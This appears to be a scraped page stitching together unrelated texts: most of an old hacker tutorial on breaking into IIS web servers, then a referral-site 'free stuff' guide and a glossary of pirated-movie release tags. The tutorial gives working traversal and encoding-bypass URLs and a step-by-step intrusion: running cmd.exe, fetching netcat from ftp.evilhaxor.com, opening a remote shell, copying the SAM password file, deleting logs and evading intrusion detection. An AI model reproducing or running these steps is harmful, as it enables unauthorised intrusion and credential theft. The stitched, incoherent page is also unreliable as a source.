replaced with the hex equivalent (%20):

http://www.target.com/stuff/my index.html

becomes

http://www.target.com/stuff/my%20index.html

and voila, it works. So what would happen if we changed the now denied URL:

http://www.target.com/../../../etc/passwd

to

http://www.target.com/%2e%2e/%2e%2e/%2e%2e/etc/passwd

The parser routine checks for the existence of dots in the path and finds
none... the webserver then proceeds with the request.

An interesting feature is that you can encode the hex symbol and the web
server will decode it all for you. This is called the "double decode".
For example, given the URL "http://victim.com/..%252f..%252fdocs/", the
following will take place:

(1) On the first decode, the string will be converted to:

"http://victim.com/..%2f..%2fdocs/"

[%25 = '%' so '%252f' is decoded to '%2f']

(2) On the second decode, the string will be converted to:

"http://victim.com/../../docs/"

[%2f = '/']

--[On the third day, God created Unicode]

The World Wide Web is a global phenomenon and as such needs to be globally
interoperable. This raised the question of how to deal with all the different
character sets around the world. As a response to this, Unicode was created:

-----------------------------------------------------------------

Unicode provides a unique number for every character, no matter what the platform, no matter what the program, no matter what the language. The Unicode Standard has been adopted by such industry leaders as Apple, HP, IBM, JustSystem, Microsoft, Oracle,SAP, Sun, Sybase, Unisys and many others. Unicode is required by modern standards such as XML, Java, ECMAScript (JavaScript), LDAP, CORBA 3.0, WML, etc., and is the official way to implement ISO/IEC 10646. It is supported in many operating systems, all modern browsers, and many other products.

-----from http://www.unicode.org---------------------------------

The problem with Unicode is that it requires 16 bits for a single character
and software tended to use 8 bits for a single character. Unicode TransForm
using 8 bits (UTF-8) was created. This allows for multibyte encoding where a
variable number of bytes can be used for each character:

Character 1-byte 2-byte 3-byte
. 2E C0 AE E0 80 AE
/ 2F C0 AF E0 80 AF
\ 5C C1 9C E0 81 9C

This lead to a new vulnerability in certain webservers. The parser didn't
understand this new encoding and allowed it through :-)

For example:

www.target.com/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/etc/passwd

Recent vulnerabilities have been taking advantage of the fact that the web
server doesn't understand the Unicode UTF-8 character set but the underlying
OS does:

www.target.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c%20dir

Understanding the distinction between Unicode and UTF-8 can be difficult. As
a general rule of thumb you can use the following format as a guide:

%uxxxx = Unicode
%xx%xx = UTF-8
%xx = Hexidecimal
%xxxx = Double Decode

--[On the fourth day, God created default installs]

IIS comes installed with various DLL's (Dynamic Link Libraries) that
increase the functionality of the web server. These ISAPI (Internet Server
API) applications allow programmers/developers to deliver more functionality
to IIS.

The DLL's are loaded into memory at startup and offer significant speed
over traditional CGI programs. For example, they can be combined with the
Internet Database Connector (httpodbc.dll) to create interactive sites that
use ODBC to access databases.

The problem is that some of these DLL's are insecure and are often installed
with sample scripts that demonstrate how to exploit, erm, I mean use them.

ASP.DLL is used to pre-process requests that end in ".asp". ASP (Active
Server Pages) are basically HTML pages with embedded code that is processed
by the webserver before serving it to the client.

Here's some examples to illustrate how the sample pages installed by default
can aid someone breaking into your site via the ASP.DLL:
[prefix all the examples with http://www.target.com]

/default.asp.

** Appending a '.' to the URL can reveal the source
** on older systems. Remember hex encoding? You can
** also try using %2e to do the same thing.

/msadc/samples/adctest.asp

** This gives you an interface into the msadcs.dll
** and allows creation of DSN's. Read RFP's stuff
** for idea's on how to exploit this.

/iissamples/exair/howitworks/codebrws.asp?source=/msadc/Samples/../../.../../../../boot.ini
/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/../../../../.../boot.ini

** You can view the source of anything in the
** document root. '/msadc/' needs to be in the
** request as it is checked for, wait for this,
** security :-)

/index.asp::$DATA

** Appending '::$DATA' to the URL can reveal
** the source of the ASP.

/index.asp%81

** Append a hex value between 0x81 and 0xfe
** and you can reveal the source of any server
** processed file. This only works on servers
** that are Chinese, Japanese or Korean.

/AdvWorks/equipment/catalog_type.asp?ProductType=|shell("cmd+/c+dir+c:\")|

** This one allows you to execute remote
** shell commands ;-)

ISM.DLL is used to process requests that end in ".htr". These pages were used
to administer IIS3 servers. In IIS4 they are not used but various .htr samples
are installed by default anyway and offer another avenue for entry.

/index.asp%20%20%20..(220 more)..%20%20.htr

** IIS will redirect this request to ISM.DLL,
** which will strip the '.htr' extension and
** deliver the source code of the file.

/global.asa+.htr

** Does the same thing as the %20%20 exploit
** above. ISM.DLL strips the +.htr and delivers
** you the source of the file

/scripts/iisadmin/ism.dll?http/dir

** Excellent brute force opportunity if the
** dll exists. Successful logons will reveal
** lots of useful stuff.

/iisadmpwd/aexp.htr

** The iisadmpwd diectory contains several .htr
** files that allow NetBIOS resolution and
** password attacks.

/scripts/iisadmin/bdir.htr??c:\inetpub\www

** This method will only reveal directories
** but can be useful for identifying the
** servers structure for more advanced
** attacks later.

MSADCS.DLL is used to allow access to ODBC components via IIS using RDS
(Remote Data Service). RDS is part of the default install of Microsoft Data
Access Components (MDAC) and is a commonly exploited on IIS. It can allow
arbitrary shell commands to be executed with system privileges.

/msadc/msadcs.dll

** If this file exists then there's a pretty
** good chance that you can run the RDS
** exploit again the box. More on this later.

HTTPODBC.DLL is the Internet Connector Database (IDC) and used when the web
server wants to connect to a database. It allows the creation of web pages
from data in the database, and it allows you to update/delete items from
within webpages. Pages with the extension '.idc' are sent to the HTTPODBC.DLL
for processing.

/index.idc::$DATA

** Appending '::$DATA' to the URL can reveal
** the source of the IDC.

/anything.idc

** Requesting a non-existance file will
** reveal the location of the web root.

/scripts/iisadmin/tools/ctss.idc

** Creates a table based on the parameters it
** receives. Excellent place to look at for
** SQL injection.

SSINC.DLL is used for processing Server Side Includes (SSI). '.stm',
'.shtm' and '.shtml' extension are sent to the DLL which interprets
the SSI statements within the HTML before sending it to the client.

An example of SSI would be:

This SSI tells the server to include the 'news.txt' in the final HTML
sent to the use. SSI statements are beyond the scope of this document
but offer another security hole open to our wiley hax0r. Ensure you
remove the app mapping and disable SSI if you do not require its
functionality.

SSINC.DLL is also vulnerable to a remote buffer overflow, read the
following advisory for details:

http://www.nsfocus.com/english/homepage/sa01-06.htm

Some examples of SSINC.DLL fun:

/anything.stm

** If you request a file that doesn't exist
** then the server error message contains the
** the location of the web root.

/somedir/anything.stm/somedir/index.asp

** Using this method allows you to view the
** the source code for index.asp.

IDQ.DLL is a component of MS Index Server and handles '.ida' and '.idq'
requests. This DLL has had some big exposure with the recent Nimda worm.
I'm not going into too much detail but '.ida' was used in a buffer
overflow that resulted in user defined code being executed on the server.

/anything.ida or /anything.idq

** Requesting a non-existance file will
** reveal the location of the web root.

/query.idq?CiTemplate=../../../boot.ini

** You can use this to read any file on
** the same drive as the web root

CPSHOST.DLL is the Microsoft Posting Acceptor. This allows uploads to your
IIS server, via a web browser or the Web Publishing Wizard. The existance of
this DLL can allow attackers upload files to the server. Other files such as
uploadn.asp, uploadx.asp, upload.asp and repost.asp are installed with Site
Server and allow upload of documents to the server:

/scripts/cpshost.dll?PUBLISH?/scripts/dodgy.asp

** If this file is there then you may be able
** to upload files to the server.

/scripts/uploadn.asp

** Connecting to this page gives you a nice
** gui for uploading your own webpages. You
** probably need to brute the userid.

There are lots more example scripts in the default install and quite a few
of them are very, very insecure. Microsoft recommends that you remove ALL
samples from any production server including the ExAir, WSH, ADO and other
installed samples.

IIS Default Web Site
--------------------
IISSAMPLES - c:\inetpub\iissamples
IISADMIN - c:\winnt\system32\inetsrv\issadmin
IISHELP - c:\winnt\help
SCRIPTS - c:\inetpub\scripts
IISADMPWD - c:\winnt\systems32\inetsrv\iisadmpwd
msadc - c:\program files\common files\system\msadc
logfiles - c:\winnt\system32\logfiles
default.htm - c:\inetpub\wwwroot

IIS Default App Mapping
-----------------------
.asa - c:\winnt\system32\inetsrv\asp.dll
.asp - c:\winnt\system32\inetsrv\asp.dll
.cdx - c:\winnt\system32\inetsrv\asp.dll
.cer - c:\winnt\system32\inetsrv\asp.dll
.htr - c:\winnt\system32\inetsrv\ism.dll
.idc - c:\winnt\system32\inetsrv\httpodbc.dll
.shtm - c:\winnt\system32\inetsrv\ssinc.dll
.shtml - c:\winnt\system32\inetsrv\ssinc.dll
.stm - c:\winnt\system32\inetsrv\ssinc.dll

--[On the fifth day, God created Frontpage Extensions]

Microsoft Frontpage (Originally developed by Vermeer Tech Inc, if you've
ever wondered why they use _vti_) is a web design tool that helps you
create and maintain a web site and allows you to publish it to the web
server.

In order to publish using Frontpage the server needs to run certain
programs, collectively called the Frontpage Server Extensions.

Sounds good I hear you say, but there are many, many security holes in
Frontpage. You can list all the files, download password files and upload
your own files on Frontpage enabled sites.

When you publish a file, Frontpage attempts to read the following URL to
get all the information it needs to publish:

http://www.myserver.com/_vti_inf.html

Then Frontpage uses the following URL to POST the files to the site:

http://www.myserver.com/_vti_bin/shtml.exe/_vti_rpc

It will come as no surprise that this file is not protected and open to
abuse.

All information for the site is stored in the /_vti_pvt/ dir, and its world
readable. Here's some of the things you can look for:

http://www.myserver.com/_vti_pvt/administrators.pwd
http://www.myserver.com/_vti_pvt/authors.pwd
http://www.myserver.com/_vti_pvt/service.pwd
http://www.myserver.com/_vti_pvt/shtml.dll
http://www.myserver.com/_vti_pvt/shtml.exe
http://www.myserver.com/_vti_pvt/users.pwd
http://www.myserver.com/_private

--[On the sixth day, God created CGI]--

The Common Gateway Interface (CGI) is a standard for interfacing external
applications to the web server. A CGI program is excuted in real time and
is used to create dynamic web sites.

Generally, the CGI programs are kept in '/cgi-bin/' but can be placed
anywhere. The programs can be written most languages but typically they are
written in C, Perl or shell scripts.

Many sites will use freely available, downloadable scripts from places like
Matt's Trojan, erm, I mean Matt's Script Archive. Its always a good idea to
look through the source of the scripts for bad system calls and lax input
validation.

CGI deserves a tutorial all to itself and I strongly suggest that you read
the following tutorials... they explain it better than I ever could:

Hacking CGI - http://shells.cyberarmy.com/~johnr/docs/cgi/cgi.txt
Perl CGI Problems - http://www.phrack.com/phrack/55/P55-07

Just to get you in the mood we will have a brief look at CGI exploitation.
There are three main types of CGI hacking; URL encoding attacks, input
validation exploits and buffer overflows.

The first thing to keep in mind is that you are already able to exploit cgi
using the techniques from previous sections. First, we need to cover some
background. CGI can take lots of shapes and forms. One popular use is via
web based forms that submit information to a CGI via a GET or POST.

When the user clicks on the submit button his information is passed to the
CGI script to process either via the URL (GET) or via HTTP headers (POST).
Lets assume that the CGI we are going to exploit asks the user for the name
of a file to display. The 'GET' method uses the URL to pass the information
and it would look like this:

http://www.target.com/cgi-bin/my_cgi.cgi?filename=/etc/passwd

Lets break that down:

? - separates the request from the parameters
filename - this is the name of the textbox in the html
= - assignment for the parameter/value pair
/etc/passwd - this is what the user typed into the box

You can have multiple fields within a HTML form and these will also be
passed to the CGI. They are separated using a '&':

http://www.target.com/cgi-bin/my_cgi.cgi?filename=/etc/passwd&user=fugjostle

If you were thinking how could you alter the user supplied input to break
the CGI then good, you're starting to think in terms of security. Lots of
developers love to program new and interesting things but they do not
consider security. A security conscious programmer would write input
validation routines that would process the data and ensure the user wasn't
be malicious or curious.

As you read through some of the free scripts on the web you will start to
realise that many programmers do not think about security. Lets look briefly
at some ways we could exploit the CGI. The first thing to keep in mind is
that you already know the generic exploits from the previous section. The
only area in which we are lacking is programming language specific info.

We will stick with the example cgi that open's a file (and let's assume
its written Perl). Lets look at some of the things we can try:

my_cgi.pl?filename=../../../../../etc/passwd

and lets do the same thing but encode the URL to bypass security checks:

my_cgi.pl?filename=../..%c0%af../..%c0%af../etc/passwd

If you have read the RFP document above then you will be familiar with
poison null bytes. Stop now and go read it... can't be arsed? ok then,
here's the quick version. %00 is valid in a string with Perl but is NUL
in C. So? When Perl wants to open the file it makes a request to the
operating system through a system call. The operating system is written in
C and %00 is a string delimiter. Lets apply this technique to the
following situation.

I decide to secure my CGI. I append '.html' to any request. This means that
the user can only view html files and if they try something else then it
doesn't exist. wh00p @ me :-)

But... what if I was to do the following:

my_cgi.pl?filename=../../../../etc/passwd%00

In Perl the filename string would look like this:

"../../../../etc/passwd\0.html"

Perfectly valid under Perl. I have done my job... or have I? When this is
passed to the OS (which is written in C not Perl) the request looks like
this:

"../../../../etc/passwd"

The OS identifies %00 as the string delimiter and ignores anything that
Comes after it. The webserver then displays the /etc/passwd file... bugger :-(

Many people download scripts from the web and look for problems in the
script. Then the wiley hax0r will go to altavista and search for sites
that are using that script, eg:

url:pollit.cgi

and good old altavista provides a list of sites that are just ripe for the
taking.

The final method of exploiting CGI is via buffer overflows. Languages like
Java and Perl are immune to buffer overflows because the language looks
after memory management. Programs written in a language such as C are
vulnerable because the programmer is supposed to manage the memory. Some
programmers fail to check the size of data it is fitting into the memory
buffer and overwrites data in the stack.

The goal of the buffer overflow is to overwrite the instruction pointer
which points to the location of the next bit of code to run. An attacker
will attempt to overwrite this pointer with a new pointer that points to
attacker's code, usually a root shell.

Quite a few CGI's exist that are vulnerable to this type of attack. For
Example, counter.exe is one such CGI. By writing 2000 A's to the CGI cause
a Denial of Service (DoS).

The details of buffer overflows are beyond the scope of this document.
Look out for a future release ;-)

If you want to dig deeper in buffer overflows then have a look at:

http://www.phrack.com/phrack/49/P49-14

--[On the seventh day, God chilled and haxored the planet]

Well.. I guess its time we actually tried some of the things discussed but
I'm not going to cover everything. I suggest going to the following URL's
and searching for IIS:

http://www.securityfocus.com/
http://www.packetstormsecurity.com/

My main reason for doing this file was to better understand Unicode exploits
and so that is going to be the focus of the exploitation. The first exploit
I'm going to go through is the recent Unicode exploit for IIS4/5:

http://www.securityfocus.com/bid/1806

Before I get emails saying 'hold on, you said that %xx%xx is UTF-8" let me
explain. This had wide exposure on Bugtraq as the Unicode exploit. In
reality, this is not a Unicode sploit but a UTF-8 sploit. I'm going to keep
calling this the Unicode exploit because its now referenced by this name in
the Bugtraq archives and you'll have to search using Unicode to do further
research.

Ok, rant over... To check if the server is exploitable, request the
following URL:

http://target.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

You should get a directory listing of the C:\ drive on the target server.
The important thing to note is that the Unicode string can vary depending
where in the world you are. Some possible alternatives include:

%c1%1c %c0%9v %c0%af %c0%qf %c1%8s %c1%9c %c1%pc

There are many more to choose from, just look at some of the Bugtraq posts or
research UTF-8 for more alternatives.

OK, you can read the directory... what next? You have the directory listing
and the ability to run commands, so you need to find the web root. By default,
the web root is at:

c:\inetpub\wwwroot\

If its not there then go and look for it. Let's write a text file there and
see if we can see it:

cmd.exe?/c+echo+owned+>+c:\inetpub\wwwroot\test.txt

hmmm.. it seems that we don't have write access. Ok, no problem we can get
around that by creating a copy of the cmd.exe that has write privileges:

cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\winnt\system32\fug.exe

Let's check if it worked:

http://target.com/scripts/..%c0%af../winnt/system32/fug.exe?/c+dir+c:\

Yep.. all's good so far. Lets try and write to the web root:

fug.exe?/c+echo+owned+>+c:\inetpub\wwwroot\test.txt

Let's open up it up in the browser and see if we can see it:

http://target.com/test.txt

w00t!!! Write access!!! Right, we now have some options open to us. In the
words of Microsoft, where do you want to go today? Working via the URL is
pretty clunky and I like the comfort of a nice command prompt, So lets do
that. I want to bring over a copy of netcat and a nice html page that I'll
use to replace the existing one.

First I need to think about the script I want to run that will get the
files I need from my FTP server:

fugscript:
open ftp.evilhaxor.com
anonymous
anon@microsoft.com
cd pub
get nc.exe
get hacked.html
quit

Right. I need to get this script onto the webserver:

fug.exe?/c+echo%20open%20ftp.evilhaxor.com>fugscript
fug.exe?/c+echo%20anonymous>>fugscript
fug.exe?/c+echo%20anon@microsoft.com>>fugscript
fug.exe?/c+echo%20cd%20pub>>fugscript
fug.exe?/c+echo%20get%20nc.exe>>fugscript
fug.exe?/c+echo%20get%20hacked.html>>fugscript
fug.exe?/c+echo%20quit>>fugscript

OK.. now we have created a script on the server called fugscript. Next step
is to execute the script and get my files from my web server.

fug.exe?/c+ftp%20-s:fugscript

If all goes well the server should begin the FTP transfer and get your files
transferred. Be patient and give it time to transfer. Now you are ready to
get netcat listening on a port. The command line for starting netcat is:

nc.exe -l -p 6667 -e cmd.exe

This tells netcat to listen (-l) on port 6667 (-p) and to spawn cmd.exe (-e)
when someone connects. The last step is to translate this command into URL
speak ;-):

fug.exe?/c+nc.exe%20-l%20-p%206667%20-e%20cmd.exe

Fire up a telnet session and connect to port 6667 on the target system and
voila... you have a cmd prompt. I really hate web defacements... so if your
going to do it then rename the existing index.htm (or default.htm) to
something like index.htm.old (give the poor admin a break, cause you can bet
your arse that he hasn't made a backup). ALSO: you are now using a system
without authorisation and as such, you are guilty under the Computer Misuse
Act in the UK and probably of something similar in your own country. If it
never occurred to you to delete the contents of c:\winnt\system32\logfiles
or the 'fugscript' file then you really shouldn't be doing this.

It just wouldn't be right to talk about IIS exploitation without mentioning
msadc.pl. rfp's perl script is a perfect example of exploit chaining. A
single exploit is not used but a chain of exploits to get the script to
work.

The exploit utilises a combination of inadequate application input validation
and default install fun. The process tries to connect to a Data Source Name
(DSN) to execute commands.

rfp's script tests for the existence /msadc/msadc.dll using the GET method.
This test will be logged and you should edit the script to make it a HEAD
request and add some URL obfuscation madness.

The default msadc.pl script uses "!ADM!ROX!YOUR!WORLD!" as the MIME
separator string. It is advised to change this string as some IDS's are
configured to identify this string.

If you want to write your own scanners then you should be looking for
headers with the content type:

application/x-varg

and of course the IIS version :-) I don't want to go into too much detail
because this is heavily documented on rfp's site:

http://www.wiretrip.net/rfp/

How do I use it? I hear you cry... well, its child's play:

./msadc2.pl -h www.target.com

If all goes well then you should be presented with the following:

command:

Its interesting to note at this point that 'cmd /c' will is run as with the
previous exploit. You can edit the script to run any other executable such
as 'rdsik /s' instead.

This is good, you can know enter the command you want to run on the server.
The previous Unicode exploit should have given you some ideas but here's a
couple that come to mind:

Example 1:
copy c:\winnt\repair\sam._ c:\inetpub\wwwroot\fug.hak

(grabbing fug.hak via your browser should give you a nice file to fire up
in L0phtcrack or JTR)

Example 2:
echo open ftp.evilhaxor.com>fugscript && echo fug>>fugscript
&& echo mypassword>>fugscript... etc. etc.

Anyway, that's about all for now. When I can be bothered I'll add some more
methods to this file. Until then, ensure your box is fully patched and the
default scripts are removed. Go have a look at the following URL and get
secure:

http://www.microsoft.com/security/

***************************************************************************
Greetz to: ReDeeMeR, BarnseyBoy, Reeferman, gabbana, think12, Wang, Enstyne,
[502BOP], Muad_Dib, Macster, n0face, palmito, kph, Homicide, Col,
Axem, Booto, _Penguin, nsh, Chawmp, shad, hellz and everyone in
#CA who are way too numerous to mention.
***************************************************************************

2011-02-21T01:01:00.000-08:00

Guide For Getting Free Stuff

If you are like me you have heard so much about the FreeIpods and FreeFlatScreens websites on different forums, blogs, IM's, etc, you are about to puke. So am I. But yet the draw of getting an Ipod for doing basically nothing is pretty strong. I dismissed all the "stories" of people getting their ipods as the marketing machine at work. However, when Kevin Rose published that not only did he receive his, but a few of his friends did as well, I figured I might take a chance and give it a go. Today I received proof that it does indeed work. Yep, I got my iPod.

Whats in it for them?
Step 1. Collect Names.
Step 2. Send those names items worth $200 or more
Step 3. ?????
Step 4. Profit

Before I signed up, I wanted to get to the bottom of the ?????. I didn't want any sweaty, filth pushing webmonkeys to have all my info, so I did my research. Gratis Internet, the parent company of the FreeIpods, FreeFlatscreens, etc. sites, recently did an interview with Wired Magazine.
In this article Gratis states that they are acting as Head Hunters for companies (more on that later) and are paid between $50-$90 per referral. Although this seems like a lot of money, this is nothing compared to what these companies spend for print advertising which does not guarentee ANY customers. So now we know what ?????? equals. ??????=$50-$90 for Gratis per guranteed customer (referral sites).

How Does it Work?
You sign-up on one (or more) of the following websites:

http://www.FreeMiniMacs.com/?r=14098976
This site gives away free Mini Macs. At the time of this writing only the 80gb MiniMac was available.

http://www.FreeDesktopPC.com/?r=13082204
This site gives away free flat screen monitors and TVs. At the time of this writing the following flat screens were available: Sony 19" LCD, Samsung 15" SyncMaster 510MP LCD TV, Samsung SyncMaster 710N LCD Monitor, Sony 27" FD Trinitron WEGA TV, or a 24" Toshiba TV/VCR/DVD combo

http://www.FreeGamingSystems.com/?r=12660654
This site gives away gaming systems. At the time of this writing the Slim PS2, Xbox, Nintendo Gamecube, and Nintendo DS were available.

http://www.FreeHandbags.com/?r=13950244
This site gives away high-end handbags. Might be a good surprise for your wife or girlfriend. =) At the time of this writing the following bags were available: Prada Mini-Hobo (black, Pink, Powder Blue), Burberry Novacheck Minisling, Coach Signature Demi Pouch (black, camel, purple), Kate Spade Pia Pochette (Black, Pink, Red)

http://www.mp3players4free.com/default.aspx?r=82419
This site gives out free mp3 players. You can get paypal $275, ipod, rio carbon, iriver, ipod mini.

http://www.dvrs4free.com/default.aspx?r=90581
This site gives away TiVo, Replay TV, and $275 paypal.

http://www.macminis4free.com/default.aspx?r=181183
Another mini mac site.

http://www.cameras4free.com/default.aspx?r=90773
This site is giving away high end digital cameras. At the the time of writing this, you follow cams are available: Canon Powershot S1 IS, Sony DSC-P100, Sony DSC-W1, Canon Powershot A95, $325 paypal.

Ok, so here is the tricky part. Once you sign up with one of these websites, you have to complete an "offer" from gratis's advertisers. There are numberous offers, some being better than others. Now remember the ???? = $50 - $90 equation? In order for you to receive your ipod/Flatscreen/Desktop PC/Handbag you have to refer 5, 8, or 10 of your friends, and they have to complete one of the offers as well. Then in order for them to receive theirs they need to refer others, and so on. So lets just look at why they are going to send an Ipod to you. (1(you) + 5(your friends)) x $90 = $540 - $250(ipod) = $290 profit for them just for you signing up. The advertisers are more than willing to pay, and FreeIpods is more than happy to send you your ipod. Works out for everyone.

What is the basic "lingo"?
"ref"/"referral" = The thing required to get your free items. These are your friends.
"green" = Status indicator that means your offer has been completed.
"yellow" = Status indicator that means your offer has yet to be completed or is in the process/pending.
"hold" = Means your account has been suspended or stopped. DON'T CHEAT.
"STV" = Means your product has been "Shipped To Vendor" You should recieve it in about 10 days time.

What process should you use to sign up (to ensure that you will get your item)
When signing up, it is recommended that you use Internet Explorer (sucks) some people have reported problems using other browsers (ex. Firefox, opera, etc.) Also make sure you have cookies accepted.

1. Click on one of the links above and enter a VALID US mailing address.

2. Complete the marketing survey - not your answers do not have any impact on you receiving your item. Just say no to them.

3. Once you have signed up, you should receive a verification email. If you did not receive one, go to the "My Account" page and click the link to have them resend it. If you still did not get it check your spam folder.

4. Sign-up with one of their partners and complete the offer. (see the section which offer should I choose) It can take up to 15 days for your offer to show completed. (A term that we freebie goers use for a "completed offer" is called "credit.") But usually they show completed after 24 hours. Be patient. If it doesn't show up as completed, you can email the site with proof and confirmation for signing up and they will give you credit.

Which offer should I choose?
Just so you know all offers require a credit card, **HOWEVER** not all of them cost anything! =) Here is a list of my recommended offers and I have not had any problems whatsover with doing these.

* Video Professor: This requires a credit card and pay only $3 shipping for computer tutorial CDs. After you receive the CDs, just call customer support and cancel your membership. Return to sender the CDs and they will refund you the shipping costs.

* Complete Home: Instant verification. Sign up for their program for $1 two month trial. You get a FREE $20 Lowes Gift Card just for doing this offer. Cancel your subscription within the 2 month trial and pay NOTHING and keep the gift card!

* Buyer's Advantage: Instant verification. Sign up for their program for $1 two month trial. You get a FREE $20 Circuit City Gift Card just for doing this offer. Cancel your subscription within the 2 month trial and pay NOTHING and keep the gift card!

* Great Fun: Instant verification. Sign up for their program for $1 two month trial. You get a FREE Walkie Talkie just for doing this offer. Cancel your subscription within the 2 month trial and pay NOTHING and keep the gift card!

* Traveler's Advantage: Instant verification. Sign up for their program for $1 two month trial. You get a FREE Thin Digital Camera just for doing this offer. Cancel your subscription within the 2 month trial and pay NOTHING and keep the gift card!

* eFax Plus: Sign up for their fax service. You get a 30 day free trial. Upon receiving credit for doing the offer, simply cancel the service within the free trial and pay nothing! It usually take 1-3 days to receive credit for this offer.

* Blockbuster Online: Try a two week trial of Blockbuster's Netflix-like service. Cancel online within trial time and pay nothing.

*Zooba: If you are a book fan, sign up for this offer. You get a book for $10 with free shipping. Instant verification.

*Various Credit Card offers: Apply for a credit card and get approved. When it arrives, cut it up and toss it out. Nothing to cancel, nothing to pay, and free stuff to gain!

Many of these offers are big companies, so you do not have to question the legitimacy for signing up under them. In other words, you will be safe because you are giving your credit card information to aol, blockbuster, and general motors, and i highly doubt that they will sell this info.

These are free, as long as you cancel within the trial period. Some offer online cancellations while others require calling their support number. Just tell them that you dont find yourself using their services enough so you want to cancel and they'll cancel your membership without any problems.

Cheating
Many of these free sites take cheating very seriously. If you want your free gift and not have you account suspended, simply DON'T CHEAT! Don't refer yourself and do all the offers yourself. If you think you can cheat the system because you are a 1337 h4x0r and you can use proxies and IP spoofs to refer yourself, DON'T DO IT. When you are in the approval stage, they will intensely throughly examine your account and make sure that all your referrels are legit and unique. Trust me, I know many people who have gotten suspended for attempting to cheat.

Multiple Accounts
This goes under cheating. It is wise not to create multiple accounts under the same site because it is against the free site's TOS. They suspend you no matter what your reason is, even if it was an accident. This also includes referring family members. You can only create one account under one household, under one IP address per site. So you cannot refer mother, sister, or brother to do it unless they live in another household.

So you've ran out of offers to do. What do I do?
Ok, if you are a freebie freak, you will probably eventually run out of offers to do because of the fact that you signed up for so many free sites did all the easy free offers. What shoud you do? Remember that free sites give you credit for a unique signup for the offers. So if you signed up for blockbuster online offer at freeflatscreens, you cannot do it again for another free site such as freedesktoppc. But there is a trick to this. A unique signup = a unique credit card that you used to sign up. So if you have a another credit card, you can sign up for the offer again. Another method is to purchase a visa gift card from your mall, or go to www.webcertificate.com and purchase a virtual debit/credit card and do the offers with those.

If you followed all these steps correctly, your free gift will be delivered to your doorstep in no time.

Here are the steps:
1. Getting friends to sign up under you
2. Approval Stage: They will analyze your account for fraud. Takes 1 week.
3. Pending Stage: Your account have been approved. You are now processing. This will take 1-2 weeks.
4. STV: Sent to Vendor. Your product will arrive in 10 days.
5. Shipped: Congrats!

Most of these freebie sites are for U.S residents only.

2010-11-25T00:40:00.001-08:00

Original Sources
All About Movie Tags (what Is A Dvdrip, Cam Etc.)
CAM -

A cam is a theater rip usually done with a digital video camera. A mini tripod is sometimes used, but a lot of the time this wont be possible, so the camera make shake. Also seating placement isn't always idle, and it might be filmed from a

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n angle. If cropped properly, this is hard to tell unless there's text on the screen, but a lot of times these are left with triangular borders on the top and bottom of the screen. Sound is taken from the onboard microphone of the camera, and especially in comedies, laughter can often be heard during the film. Due to these factors picture and sound quality are usually quite poor, but sometimes we're lucky, and the theater will be fairly empty and a fairly clear signal will be heard.

TELESYNC (TS) - A telesync is the same spec as a CAM except it uses an external audio source (most likely an audio jack in the chair for hard of hearing people). A direct audio source does not ensure a good quality audio source, as a lot of background noise can interfere. A lot of the times a telesync is filmed in an empty cinema or from the projection booth with a professional camera, giving a better picture quality. Quality ranges drastically, check the sample before downloading the full release. A high percentage of Telesyncs are CAMs that have been mislabeled.

TELECINE (TC) -
A telecine machine copies the film digitally from the reels. Sound and picture should be very good, but due to the equipment involved and cost telecines are fairly uncommon. Generally the film will be in correct aspect ratio, although 4:3 telecines have existed. A great example is the JURASSIC PARK 3 TC done last year. TC should not be confused with TimeCode , which is a visible counter on screen throughout the film.

SCREENER (SCR) -
A pre VHS tape, sent to rental stores, and various other places for promotional use. A screener is supplied on a VHS tape, and is usually in a 4:3 (full screen) a/r, although letterboxed screeners are sometimes found. The main draw back is a "ticker" (a message that scrolls past at the bottom of the screen, with the copyright and anti-copy telephone number). Also, if the tape contains any serial numbers, or any other markings that could lead to the source of the tape, these will have to be blocked, usually with a black mark over the section. This is sometimes only for a few seconds, but unfortunately on some copies this will last for the entire film, and some can be quite big. Depending on the equipment used, screener quality can range from excellent if done from a MASTER copy, to very poor if done on an old VHS recorder thru poor capture equipment on a copied tape. Most screeners are transferred to VCD, but a few attempts at SVCD have occurred, some looking better than others.

DVD-SCREENER (DVDscr) -Same premise as a screener, but transferred off a DVD. Usually letterbox , but without the extras that a DVD retail would contain. The ticker is not usually in the black bars, and will disrupt the viewing. If the ripper has any skill, a DVDscr should be very good. Usually transferred to SVCD or DivX/XviD.

DVDRip - A copy of the final released DVD. If possible this is released PRE retail (for example, Star Wars episode 2) again, should be excellent quality. DVDrips are released in SVCD and DivX/XviD.

VHSRip -Transferred off a retail VHS, mainly skating/sports videos and XXX releases.

TVRip -TV episode that is either from Network (capped using digital cable/satellite boxes are preferable) or PRE-AIR from satellite feeds sending the program around to networks a few days earlier (do not contain "dogs" but sometimes have flickers etc) Some programs such as WWF Raw Is War contain extra parts, and the "dark matches" and camera/commentary tests are included on the rips. PDTV is capped from a digital TV PCI card, generally giving the best results, and groups tend to release in SVCD for these. VCD/SVCD/DivX/XviD rips are all supported by the TV scene.

WORKPRINT (WP) -A workprint is a copy of the film that has not been finished. It can be missing scenes, music, and quality can range from excellent to very poor. Some WPs are very different from the final print (Men In Black is missing all the aliens, and has actors in their places) and others can contain extra scenes (Jay and Silent Bob) . WPs can be nice additions to the collection once a good quality final has been obtained.

DivX Re-Enc -A DivX re-enc is a film that has been taken from its original VCD source, and re-encoded into a small DivX file. Most commonly found on file sharers, these are usually labeled something like Film.Name.Group(1of2) etc. Common groups are SMR and TND. These aren't really worth downloading, unless you're that unsure about a film u only want a 200mb copy of it. Generally avoid.

Watermarks -
A lot of films come from Asian Silvers/PDVD (see below) and these are tagged by the people responsible. Usually with a letter/initials or a little logo, generally in one of the corners. Most famous are the "Z" "A" and "Globe" watermarks.

Asian Silvers / PDVD -
These are films put out by eastern bootleggers, and these are usually bought by some groups to put out as their own. Silvers are very cheap and easily available in a lot of countries, and its easy to put out a release, which is why there are so many in the scene at the moment, mainly from smaller groups who don't last more than a few releases. PDVDs are the same thing pressed onto a DVD. They have removable subtitles, and the quality is usually better than the silvers. These are ripped like a normal DVD, but usually released as VCD.

Formats

VCD -
